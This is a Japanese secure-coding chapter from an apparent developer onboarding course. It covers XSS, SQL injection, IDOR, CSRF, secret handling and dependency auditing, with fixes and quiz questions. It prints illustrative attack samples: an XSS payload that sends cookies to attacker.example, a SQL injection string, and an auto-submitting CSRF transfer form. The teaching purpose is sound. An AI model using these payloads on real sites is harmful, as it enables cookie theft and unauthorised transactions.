セキュリティ
この部の 1 / 8 章 ・ 全体で 62 / 76 章 ・ 読了目安 45 分
- XSS が起きるコードを見分けられる
- パラメータ化クエリを書ける
- 秘密情報をコミットしてしまった時の対処を知っている
セキュリティは「詳しい人が後でチェックしてくれるもの」ではありません。 書いた瞬間に混入するものです。
この章で扱うのは、専門家向けの高度な攻撃手法ではなく、 新人が実際に作り込んでしまう脆弱性です。どれも1行の書き方の違いで生まれます。
攻撃手法を説明しますが、自分が権限を持つ環境でのみ試してください。 他人のサービスに試すのは犯罪です。
理解する目的は、攻撃するためではなく、自分のコードに同じ穴がないか気づけるようになるためです。
原則: 入力を信じない
セキュリティの話は突き詰めると1行です。
外から来たデータは、すべて攻撃だと思って扱う。
「外から」には次が含まれます。
- ユーザーが入力したフォームの値
- URL のパラメータ
- リクエストヘッダ、Cookie
- 他のサービスから返ってきたデータ
- データベースに入っている値(誰かが入れたもの)
最後の2つを見落としがちです。「DB から取ったから安全」ではありません。 入れた時点で汚染されているかもしれません。
XSS — 他人のブラウザで JavaScript を動かされる
どう起きるか
ユーザーが入力した文字列を、そのまま HTML として画面に出すと起きます。
// 危険
element.innerHTML = `<p>${userInput}</p>`;ここで userInput がこういう値だったらどうなるでしょうか。
<img src=x onerror="fetch('https://attacker.example/?c='+document.cookie)">
画像の読み込みに失敗し、onerror が実行され、
そのページを見た人の Cookie が攻撃者に送られます。
掲示板や商品レビューに仕込めば、見た人全員が被害に遭います。
どう防ぐか
テキストとして出すなら、テキストとして出す API を使うだけです。
// 安全: HTML として解釈されない
element.textContent = userInput;React や Vue のようなフレームワークは、標準でエスケープしてくれます。
<p>{userInput}</p> {/* 安全 */}
<p dangerouslySetInnerHTML={{ __html: userInput }} /> {/* 危険 */}React がわざわざ長くて言いにくい名前にしているのは、 気軽に使わせないためです。
どうしても HTML を出す必要がある場合(リッチテキスト編集など)は、 DOMPurify のようなサニタイズライブラリを通してください。自作は避けます。
<a href={userInput}> も危険です。javascript:alert(1) のような値を入れられます。
リンク先にユーザー入力を使う時は、https:// か http:// で始まることを検証してください。
似ていますが、目的が違います。
| 用語 | 何をするか |
|---|---|
| バリデーション | 入力が期待どおりか検査し、違えば拒否する |
| エスケープ | 特別な意味を持つ文字を、ただの文字として扱わせる(出力時) |
| サニタイズ | 危険な部分を除去・無害化する(HTML から script タグを消すなど) |
順序が重要です。
入力時 → バリデーション(受け付けるか決める)
出力時 → エスケープ(表示先に応じて変換する)
「入力時にエスケープして保存」はよくある誤りです。 同じデータを HTML・JSON・SQL・CSV のどこに出すかで、必要な変換が違うため、 保存は生のまま、出力する時に変換するのが原則です。
SQL インジェクション — データベースを乗っ取られる
どう起きるか
SQL を文字列結合で組み立てると起きます。
// 危険
const sql = `SELECT * FROM users WHERE email = '${email}'`;email にこう入力されたら:
' OR '1'='1
組み上がる SQL はこうなります。
SELECT * FROM users WHERE email = '' OR '1'='1'全ユーザーが返ります。 さらに悪意ある入力なら、テーブルの削除もできます。
どう防ぐか
パラメータ化クエリ(プレースホルダ)を使います。 これだけです。
// 安全
const sql = 'SELECT * FROM users WHERE email = ?';
db.query(sql, [email]);パラメータ化すると、値は「データ」として扱われ、SQL の一部として解釈されません。 何を入れられても構文にはなりません。
多くの ORM は安全ですが、生 SQL を書ける機能があります。
// ORM でも、ここで結合すれば同じ穴が開く
db.raw(`SELECT * FROM items WHERE name LIKE '%${keyword}%'`)文字列結合で SQL を作っている箇所を見たら、必ず疑ってください。 レビューで指摘すべき最重要ポイントの1つです。
検索機能で SQL インジェクションを防ぐ、正しい方法は?
認証と認可 — 混同すると他人のデータが見える
| 意味 | 失敗すると | |
|---|---|---|
| 認証(Authentication) | あなたが誰かを確かめる | ログインできない / 他人になりすまされる |
| 認可(Authorization) | あなたが何をしてよいかを決める | 他人のデータが見える・消せる |
新人が作り込みやすいのは認可の漏れです。
典型的な事故
// ログインは必須にした(認証OK)
app.get('/api/orders/:id', requireLogin, async (req, res) => {
const order = await db.getOrder(req.params.id);
res.json(order); // ← ここが問題
});このコードはログインさえしていれば、誰の注文でも見られます。
/api/orders/1 /api/orders/2 と順に叩けば、全ユーザーの注文が読めます。
これは IDOR(安全でない直接オブジェクト参照)と呼ばれ、 実際の情報漏洩事故で最も多い原因の1つです。
正しくは
app.get('/api/orders/:id', requireLogin, async (req, res) => {
const order = await db.getOrder(req.params.id);
// 「これは本当にこの人のものか」を必ず確認する
if (order.userId !== req.user.id) {
return res.status(404).end();
}
res.json(order);
});/orders/1 /orders/2 と順に叩けば全件取れてしまいます。
認可チェックが第一の防御ですが、ID を推測しにくい値(UUID など)にするのも 有効な多層防御です。データベースの Spanner の主キー設計とも繋がります。
「権限がない」と返すと、そのリソースが存在することは伝わってしまいます。
秘匿性が高い場面では、あえて 404(無い)を返して存在自体を隠します。 どちらにするかはチームの方針に従ってください。
ログイン必須の API で、URL の ID を書き換えると他人のデータが見えました。これは何の問題ですか。
CSRF — 意図しない操作をさせられる
ログイン中のユーザーに、別のサイトからリクエストを送らせる攻撃です。
<!-- 攻撃者のサイトに仕込まれたフォーム -->
<form action="https://bank.example/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="100000">
</form>
<script>document.forms[0].submit()</script>Cookie は自動で送られるので、被害者がログイン中なら送金が成立してしまいます。
防ぎ方
| 方法 | 内容 |
|---|---|
| CSRF トークン | フォームに毎回異なる値を埋め、サーバーで照合する |
| SameSite Cookie | SameSite=Lax にすると別サイトからの POST で Cookie が送られない |
| 状態変更に GET を使わない | GET で更新できると、<img> タグだけで攻撃できる |
最近のブラウザは SameSite=Lax がデフォルトなので、以前より起きにくくなっています。
それでも明示的に設定するのが確実です。
秘密情報の扱い
コードに書かない
// 絶対にやってはいけない
const API_KEY = 'sk_live_51H8xY2...';環境変数から読みます。
const apiKey = process.env.STRIPE_API_KEY;.env ファイルは .gitignore に入れる、.env.example にはキー名だけ書く、が定石です。
コミットしてしまったら
Git は履歴を保持します。削除するコミットを追加しても、履歴から誰でも取り出せます。 公開リポジトリなら、数分で自動収集ボットに拾われます。
やることは順番が大事です。
- その鍵を無効化・再発行する(最優先) — これが唯一の本当の対処
- チームに報告する
- 履歴からの除去は影響が大きいので、必ず先輩と相談する
隠さないこと。 報告が遅れるほど被害が広がります。 「怒られる」より「漏れ続ける」方が何百倍も深刻です。
ログに出さない
// 危険: ログに個人情報や認証情報が残る
logger.info('login request', { email, password, creditCard });ログは長期間保存され、多くの人が見られる場所に集約されます。 パスワード・トークン・カード番号・個人情報はログに出さないのが原則です。
logger.info('request', req.body) のような書き方は、
中身に何が入っていても全部出してしまいます。
デバッグ中は便利ですが、そのまま本番に出すと事故になります。 出すフィールドを明示的に選ぶか、マスク処理を通してください。
依存ライブラリ
現代のアプリは、コードの大部分が他人の書いたライブラリです。
npm audit # 脆弱性のあるパッケージを検出
npm audit fix # 可能なものを自動更新多くのチームでは Dependabot などが自動で更新 PR を出します。 そういう PR が来たら放置せず、テストを通して取り込んでください。
- 最終更新はいつか(何年も止まっていないか)
- 週間ダウンロード数はどれくらいか
- 同じことが標準機能でできないか
「便利そうだから」で依存を増やすと、それが将来の脆弱性と保守コストになります。 新人のうちは、入れる前に先輩に一言相談するのが安全です。
HTTPS と証明書
DNS・TCP・TLSで扱った内容ですが、セキュリティの観点で再掲します。
- すべての通信を HTTPS にする。ログインページだけ、では不十分
- Cookie には
Secure(HTTPS のみ)とHttpOnly(JS から読めない)を付ける - 証明書の有効期限を監視する
セキュリティの学習は範囲が広く、どこから手を付けるか迷います。 日本語で、実務に直結する順に読むなら IPA(情報処理推進機構)の資料が最適です。
| 資料 | 何が書いてあるか |
|---|---|
| 安全なウェブサイトの作り方 | この章の内容をより詳しく網羅。届出のあった実際の脆弱性に基づく |
| 情報セキュリティ10大脅威 | 毎年更新。今どんな攻撃が実際に起きているか |
| セキュア・プログラミング講座(アーカイブ) | 言語別・場面別の書き方 |
| 脆弱性関連情報の届出 | 他社の脆弱性を見つけた時の連絡先(エンジニアと法律) |
「安全なウェブサイトの作り方」は、実質的にこの章の詳細版です。 業務で Web を作るなら、一度は通してください。
海外の資料では OWASP Top 10 と OWASP チートシート集 が定番で、 セキュリティ診断の報告書はこの分類で書かれてきます(Web の脆弱性を体系的に)。
新人が今日からできるチェックリスト
コードを書いたら、この5つを自分で確認してください。
- ユーザー入力を
innerHTMLに入れていないか - SQL を文字列結合で作っていないか
- 取得したデータが「その人のもの」か確認しているか
- 秘密情報をコードやログに書いていないか
- エラーメッセージに内部情報(SQL、パス、スタックトレース)を出していないか
最後の項目は見落としがちです。
Error: connection to db-primary.internal:5432 failed のようなメッセージを
ユーザーに返すと、内部構成のヒントを与えてしまいます。
ユーザーには一般的なメッセージ、詳細はサーバーログへが原則です。
実務の落とし穴まとめ
innerHTMLにユーザー入力 — XSS の主犯- SQL の文字列結合 — ORM でも生 SQL なら同じ
- 認可チェックの漏れ(IDOR) — 情報漏洩事故の最多原因
- 秘密情報のコミット — 消しても履歴に残る。まず鍵を無効化
- リクエスト全体をログ出力 — 個人情報が長期保存される
- エラーの詳細をユーザーに返す — 内部構成が漏れる
まとめ
- 外から来たデータはすべて疑う。DB の中身も「誰かが入れたもの」
- XSS は
textContentで防ぐ。innerHTML/dangerouslySetInnerHTMLは避ける - SQL インジェクションはパラメータ化クエリで防ぐ。自作エスケープはしない
- 認証と認可は別。「その人のデータか」を必ず確認する(IDOR)
- 秘密情報はコードにもログにも書かない。コミットしたらまず鍵を無効化して報告
- 依存ライブラリの更新 PR を放置しない
公式ドキュメント
迷ったら一次情報に戻ってください。
| 対象 | リンク |
|---|---|
| OWASP Top 10 | https://owasp.org/www-project-top-ten/ |
| OWASP チートシート集 | https://cheatsheetseries.owasp.org/ |
| IPA 安全なウェブサイトの作り方 | https://www.ipa.go.jp/security/vuln/websecurity/ |
| IPA 情報セキュリティ10大脅威 | https://www.ipa.go.jp/security/10threats/ |
| JPCERT/CC | https://www.jpcert.or.jp/ |
章末問題
API キーを誤ってコミットして push してしまいました。最初にやるべきことは?
商品レビュー機能で、ユーザーが書いた本文を画面に表示します。安全な実装は?
デバッグのため logger.info('request', req.body) と書きました。本番に出す前に考えるべきことは?
次の章では、この中で最も実装を間違えやすい部分—— 認証と認可を、実際にどう作るかまで踏み込みます。